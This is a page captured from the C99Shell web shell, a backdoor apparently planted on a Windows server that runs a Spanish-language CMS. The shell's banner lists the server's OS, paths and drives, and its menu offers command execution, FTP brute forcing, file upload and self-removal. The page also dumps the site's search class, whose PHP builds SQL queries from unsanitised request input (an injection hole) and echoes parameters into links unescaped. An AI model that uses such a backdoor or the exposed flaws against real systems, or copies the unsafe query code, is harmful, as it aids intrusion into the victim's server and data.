!C99Shell v. 1.0 pre-release build #13!

Software: Apache. PHP/5.5.15 

uname -a: Windows NT SVR-DMZ 6.1 build 7600 (Windows Server 2008 R2 Enterprise Edition) i586 

SYSTEM 

Safe-mode: OFF (not secure)

E:\xampp\xampp\htdocs\portel_dama\administracion\clases_herramientas\   drwxrwxrwx
Free 7.95 GB of 239.26 GB (3.32%)
Detected drives: [ a ] [ c ] [ d ] [ e ] [ f ]
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     class_search.php (14.15 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
class search {  
       
       function 
search ($string$tipo$inicio$num_res$x_y$user$link$and
       {
            
            
$this->STRING $string;
            
$this->TIPO $tipo;
            
            
// Search BGOV Power for PORTEL 2.0
            // Writed by: Nicolás Rey, 2005
            // Función de búsqueda basada en numeros de palabras registradas, encontradas, valores y proximidad
            ///////////////////////////////////////////////////////////////////////////////////////////////////
            
            // 0. Diferenciación entre objetivos de búsqueda
            // 1, Se usa para contenido, 2, para documentos, 3, archivo, 4 categorias
            
            
if ($this->TIPO == 1) {
                
$tipo_label "Contenidos Activos";
                
$tipo_seleccion "links_id";
                
$tipo_tabla "contenido_links";
                
$tipo_campos = array(=> 'links_nombre'=> 'links_descripcion'=> 'links_texto');
                
$tipo_valor_campos = array(=> '3'=> '2'=> '1');
                
$tipo_show_campos "links_nombre, links_descripcion, links_link";
                
                if (
$x_y != "") {
                    
$tipo_link "contenido_links_administracion.php?x_y=$x_y&user=$user&id_app=21&accion=-1&links_id=";
                    
$and $and;
                }else{
                    
$tipo_link "frame_detalle_2.php?h_id=";
                    
$and " and (links_tipo_id=1 or links_tipo_id=2 or links_tipo_id=4)";
                }
            }
            
            if (
$this->TIPO == 2) {
                
$tipo_label "Documentos";
                
$tipo_seleccion "foto_id";
                
$tipo_tabla "contenido_foto_y_medios";
                
$tipo_campos = array(=> 'foto_nombre'=> 'foto_descripcion'=> 'foto_pie');
                
$tipo_valor_campos = array(=> '3'=> '2'=> '1');
                
$tipo_show_campos "foto_nombre, foto_descripcion, foto_formato";
                
                if (
$x_y != "") {
                    
$tipo_link "contenido_foto_y_medios_administracion.php?x_y=$x_y&user=$user&id_app=19&accion=-1&foto_id=";
                    
$and "";
                }else{
                    
$tipo_link "contenido_foto_y_medios_administracion.php?x_y=$x_y&user=$user&id_app=19&accion=-1&foto_id=";
                    
$and "";
                }
            }
            
            if (
$this->TIPO == 4) {
                
$tipo_label "Catgorias";
                
$tipo_seleccion "categoria_id";
                
$tipo_tabla "contenido_categoria";
                
$tipo_campos = array(=> 'categoria_tema_desc');
                
$tipo_valor_campos = array(=> '3');
                
$tipo_show_campos "categoria_tema_desc, categoria_tema_id";
                
                if (
$x_y != "") {
                    
$tipo_link "contenido_categoria_administracion.php?x_y=$x_y&user=$user&id_app=18&accion=-1&categoria_id=";
                    
$and "";
                }else{
                    
$tipo_link "contenido_categoria_administracion.php?x_y=$x_y&user=$user&id_app=18&accion=-1&categoria_id=";
                    
$and "";
                }
            }
            
            
//echo "Esto es lo que voy a buscar: " . $string;
            
            
            
            // 1. Generación de arreglos
            
                // Inicializar el arreglo
                
$results[1] = "No se encontraron resultados";
                
                
// 1.0 Normaliza la búsqueda y crea la opción de pasar un valor encerrado entre comillas como una consulta válida
                // para páginas posteriores
                
                
$string_back str_replace("\"""//"$string);
                
$string_back str_replace("\\"""$string_back);
                
                
// 1.1 Extrae las palabras en un arreglo llamado palabras
                // Detecta si hay un más (+), "", (-) ó espacios
                
                
$literal substr_count($this->STRING'\"');
                
$literal_1 substr_count($this->STRING'\\');
                
$literal_2 substr_count($this->STRING'\'');
                
$literal_3 substr_count($this->STRING'//');
                
                if ((
$literal $literal_1 $literal_2 $literal_3) > 0) {
                    
$this->STRING str_replace("\""""$this->STRING);
                    
$this->STRING str_replace("\'"""$this->STRING);
                    
$this->STRING str_replace("\\"""$this->STRING);
                    
$this->STRING str_replace("//"""$this->STRING);
                    
$palabras[0] = $this->STRING;
                }else{        
                    
$this->STRING str_replace("+""//"$this->STRING);
                    
$this->STRING str_replace("-""//"$this->STRING);
                    
$this->STRING str_replace(" ""//"$this->STRING);
                    
$this->STRING str_replace("%20""//"$this->STRING);
                    
                    
$palabras explode("//",$this->STRING);
                    
                            
// 1.1.1 Se extraen palabras comunes (Exceptionary)
                            
$query "select palabra_nombre from diccionario_excepcion";
                            
$select = new Select($query1,$this->NUMERO_PG);
                            
$this->RESULTADOS $select->RESULTADO;
                            
$this->NUMERO_REGISTROS $select->NUMERO_REGISTROS;
                             
                            
$ley_exc "";
                            
$ley_c 0;
                             
                            for (
$ex 0$ex $this->NUMERO_REGISTROS$ex++) 
                            {
                                
$count_array 0;
                                foreach (
$palabras as $word) {
                                
                                    if (
$this->RESULTADOS[$ex][0] == $word) {
                                        
$excepcion array_splice($palabras$count_array1);
                                        
$ley_c++;
                                        
$ley_exc $ley_exc $word " ";
                                    }
                                    
$count_array++;
                                }
                            }
                            
                            
// 1.1.2 Se muestran las palabras que no se buscarán
                            
                            
if ($ley_c != 0) {
                            
                                echo 
"Las siguientes palabras no fueron incluidas en la búsqueda: <b>" $ley_exc "</b>";
                            
                            }
                    
                    
                }
            
                
// 1.2 Hacer la consulta por cada campo de forma independiente
                
$i 0;
                foreach (
$palabras as $word) {
                
                        
// 1.2.1 Se define $c que es igual al numero del campo en el recorrido de la variable $tipo_campos
                        
$c 0;
                        foreach (
$tipo_campos as $campo) {
                        
                            
// 1.2.1.1. Definición del Cuando
                            
$cuando $campo " like '%" $word "%'" $and;
                            
$factor $tipo_valor_campos[$c];
                            
//echo $factor;
                            
                            // 1.2.1.2. Búsqueda central
                            
$query "select " $tipo_seleccion " from " $tipo_tabla " where " $cuando;
                            
//echo $query;
                            //echo "/";
                            
$select = new Select($query1,$this->NUMERO_PG);
                            
                            
// 1.2.1.3. Asignación de resultados
                            
$this->RESULTADOS $select->RESULTADO;
                            
$this->NUMERO_REGISTROS $select->NUMERO_REGISTROS;
                            
                            
// 1.2.1.4. Búsqueda y generación del arreglo
                            // $c_r se usa para controlar el número de registros
                            //echo $this->NUMERO_REGISTROS;
                            //echo "<br>";
                            
for ($c_r 0$c_r $this->NUMERO_REGISTROS$c_r++) {
                                
                                
// 1.2.1.4.1 Extracción del ID encontrado
                                
$id_found $select->RESULTADO[$c_r][0];
                                
//echo $id_found;
                                
                                
                                // 1.2.1.4.2 Busca en el arreglo si el ID encontrado existe ya o no
                                
$key array_search($id_found$results);
                                
                                    if (
$key == "") {
                                        
$results_offset count($results);
                                        
$results_offset++;
                                        
$results[$results_offset] = $id_found;
                                        
$results_numero_campos[$results_offset][$i] = 1;
                                        
$results_acumulado[$results_offset][$i] = $factor;
                                        
                                                
//if ($id_found == 403) {
                                                    // Usado para depurar
                                                    //echo "-------------------><br>";
                                                    //echo $results[$results_offset];
                                                    //echo ":";
                                                    //echo $results_numero_campos[$results_offset][$i];
                                                    //echo ":";
                                                    //echo $results_acumulado[$results_offset][$i];
                                                    //echo "<br>";
                                                //}
                                        
                                    
}else{
                                        
$results_numero_campos[$key][$i] = $results_numero_campos[$key][$i] + 1;
                                        
$results_acumulado[$key][$i] = $results_acumulado[$key][$i] + $factor;
                                        
                                                
//if ($id_found == 403) {
                                                    // Usado para depurar
                                                    //echo "-------------------><br>";
                                                    //echo $key;
                                                    //echo ":";
                                                    //echo $results_numero_campos[$key][$i];
                                                    //echo ":";
                                                    //echo $results_acumulado[$key][$i];
                                                    //echo "<br>";
                                                //}
                                    
}
                            }
                            
$c++;
                        }
                
$i++;
                }
                
                
            
                
// 3. Cálculo de la importancia de las palabras y su correlación con los ids encontrados
                
                
$a_p 1;
                foreach (
$results as $valor) {
                
                    
//echo $a_p . " : ";
                    //echo $valor;
                    //echo " - ";
                    
                    // 3.1 Cálculo de un factor de división por palabra
                    // de cada palabra encontrada se toman el número de campos en que fue encontrada y este dato se usa como divisor
                    // de la sumatoria del factor de relevancia de cada campo definido arriba en el arreglo tipo_valor_campos
                    
                    
$b_p 0;
                    
$numero_palabras 0;
                    
                            foreach (
$palabras as $word) {
                            
//echo $results_numero_campos[$a_p][$b_p];
                            //echo " - ";
                            //echo $results_acumulado[$a_p][$b_p];
                            //echo " - ";
                            
if ($results_numero_campos[$a_p][$b_p] != "") {
                                
$division[$b_p] = $results_acumulado[$a_p][$b_p] / $results_numero_campos[$a_p][$b_p];
                                
$numero_palabras++;
                            }else{
                                
$division[$b_p] = 0;
                            }
                            
$b_p++;
                        }
                        
                        
// 3.2 Una vez hechas las divisiones, se hace un promedio que es la variable $factor_search[$a_p]
                        // esta variable se graba en un arreglo igual al de los id´s con el fin después de poderlos ubicar
                        
$total 0;
                        
$t_p 1;
                        if (
$numero_palabras != 0) {
                            foreach (@
$division as $d_p) {
                                
$total $total $d_p;
                                
$t_p++;
                            }
                        }
                        @
$factor_search[$a_p] = $total / ($t_p 1);
                        
                        
// 3.3 Se asigna a una variable el número de palabras encontradas en cada ID en otro arreglo
                        // llamado n_palabras.
                        
$n_palabras[$a_p] = $numero_palabras;
                        
                        
// 3.4 Se incrementa el a_p para ir al siguiente resultado.
                        
$a_p++;
                        
                }
                
                
                
                
// 4. Imprime los resultados totales y la paginación de arriba
                
echo "<table width=\"100%\" border=\"0\" cellspacing=\"0\" cellpadding=\"0\"><tr><td><font size=\"1\">Resultados encontrados: <b>" . ($a_p 2) . "</b></font></td><td align=\"right\"><font size=\"1\">";
                    
                
$num_pagina 0;
                
$control_puntos 0;
                while ((
$num_pagina $num_res) < ($a_p 2)) {
                    
$inicio_escala $num_pagina $num_res;
                        if (
$x_y != "") {                        
                        
                            
// 4.1 Resolución de mucha paginación
                            
                            
if (($a_p 2) > 100) {
                            
                                
                                
$if_x $num_pagina 10;
                                
//echo $if_x;
                                                    
                                // 4.1.2 Función principal
                                
if (($inicio_escala <= ($inicio 50)) and ($inicio_escala >= ($inicio 50))) {
                                    
                                        
// 4.1.2.1 Imprime puntos al inicio diciendo que hay más paginación
                                        
if ($if_x and $control_puntos == 0) {
                                            echo 
"...";
                                            
$control_puntos++;
                                        }else{
                                            
$control_puntos++;
                                        }
                                        
                                        
// 4.1.2.1 Imprime puntos al inicio diciendo que hay más paginación
                                        
if ($if_x == $inicio) {
                                            echo 
" [<b><a href=\"$link?inicio=$inicio_escala&string=$string_back&tipo=$tipo&num_res=$num_res&x_y=$x_y&user=$user&link=$link&and=$and\">$num_pagina</a></b>] ";
                                        }else{
                                            echo 
" [<a href=\"$link?inicio=$inicio_escala&string=$string_back&tipo=$tipo&num_res=$num_res&x_y=$x_y&user=$user&link=$link&and=$and\">$num_pagina</a>] ";
                                        }
                                    
                                        
$if_x_e $if_x;
                                }
                                                                
                            }else{
                                echo 
" [<a href=\"$link?inicio=$inicio_escala&string=$string_back&tipo=$tipo&num_res=$num_res&x_y=$x_y&user=$user&link=$link&and=$and\">$num_pagina</a>] ";
                            }
                            
                            
//echo $inicio;
                            //echo $a_p;
                        
}else{
                            echo 
" [<a href=\"$link?inicio=$inicio_escala&string=$string_back&tipo=$tipo&num_res=$num_res&link=$link\">$num_pagina</a>] ";
                            
//echo $inicio;
                        
}
                       
$num_pagina++; 
                                                    
                }
                
                
// 4.1.3 (Número reservado que se trae de la función 4.1 para la impresión de puntos) Imprime puntos al final diciendo que hay más paginación
                
if ($if_x_e < ($a_p -2)) {
                        echo 
"...";
                        
$control_puntos++;
                    }
                echo 
"</font></td></tr></table>";
                
                
            
                
// 5. Sorting los resultados            
                
arsort($factor_search);
                
                
// 5.1 Establecer inicio
                
$final $inicio $num_res;
                
//echo $inicio;
                
                // 5.2 Extraer en el orden de importancia los resultados enlazados junto a su respectivo Id
                
$conteo_gral 0;
                foreach (
$factor_search as $ind => $f_s) {
                
                    
// 5.2.1 Extrae solo los resultados buscados.
                    
if ($conteo_gral >= $inicio and $conteo_gral $final) {
                        if (
$ind != 1) {
                        
                            
//echo $ind . "=" . $f_s . " : ";
                            //echo $results[$ind] . " -> ";
                            //echo $n_palabras[$ind];
                            //echo "<br>";
                        
                            // 5.2.1.1 Consulta de forma tradicional los id cada uno por aparte
                            
$cuando $tipo_seleccion "=" $results[$ind];
                            
//echo $this->TIPO;
                            
                            // 5.2.1.2 Hace una excepción por tipo en la impresión de resultados
                            // Para Contenido
                            
if ($this->TIPO ==  1) {
                                
$control = new select_pg(0$tipo_show_campos$tipo_tabla$cuando35"(nombre)-(descripcion)-(texto)""<p><table width=\"100%\" border=\"0\" cellspacing=\"0\" cellpadding=\"0\" class=\"texto\"><tr><td height=\"2\"></td></tr></table><br><a href=\"$tipo_link$results[$ind]\"><img src=\"../imagenes/pin.gif\" width=\"6\" height=\"6\" border=\"0\"> (nombre).</a><br>(descripcion)</p>"$vinculo_pg ,$inicio_1); 
                            }
                            
// Para Documentos
                            
if ($this->TIPO ==  2) {
                                
$control = new select_pg(0$tipo_show_campos$tipo_tabla$cuando35"(nombre)-(descripcion)-(texto)""<p><table width=\"100%\" border=\"0\" cellspacing=\"0\" cellpadding=\"0\" class=\"texto\"><tr><td height=\"2\"></td></tr></table><br><a href=\"$tipo_link$results[$ind]\"><img src=\"../imagenes/pin.gif\" width=\"6\" height=\"6\" border=\"0\"> (nombre).</a> Archivo: [<i>(texto)</i>]<br>(descripcion)</p>"$vinculo_pg ,$inicio_1); 
                            }
                            
// Para Categorías
                            
if ($this->TIPO ==  4) {
                                
$control = new select_pg(0$tipo_show_campos$tipo_tabla$cuando35"(nombre)-(descripcion)-(texto)""<p><table width=\"100%\" border=\"0\" cellspacing=\"0\" cellpadding=\"0\" class=\"texto\"><tr><td height=\"2\"></td></tr></table><br><a href=\"$tipo_link$results[$ind]&patron=(descripcion)\"><img src=\"../imagenes/pin.gif\" width=\"6\" height=\"6\" border=\"0\"> (nombre).</a><br>Categoría: (descripcion)</p>"$vinculo_pg ,$inicio_1); 
                            }                            
                            
                        }
                    }
                    
                
$conteo_gral++;
                }
        
        }
}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 1.0 pre-release build #13 powered by Captain Crunch Security Team | http://ccteam.ru | Generation time: 0.0312 ]--